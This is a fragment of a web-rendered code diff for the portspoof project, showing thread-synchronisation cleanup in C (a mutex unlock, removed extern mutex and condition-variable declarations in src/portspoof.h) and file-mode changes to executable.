||||||
}
|
|
||||||
}
|
|
||||||
pthread_mutex_unlock(&new_connection_mutex);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
0
src/portspoof.h
Normal file → Executable file
0
src/portspoof.h
Normal file → Executable file
@ -35,12 +35,6 @@
|
|||||||
|
|
||||||
#include <pthread.h>
|
#include <pthread.h>
|
||||||
|
|
||||||
|
|
||||||
extern pthread_cond_t new_connection_cond;
|
|
||||||
extern pthread_mutex_t new_connection_mutex;
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
#ifndef THREAD_VARS
|
#ifndef THREAD_VARS
|
||||||
#define THREAD_VARS
|
#define THREAD_VARS
|
||||||
|
|
||||||
|
Loading…
Reference in New Issue
Block a user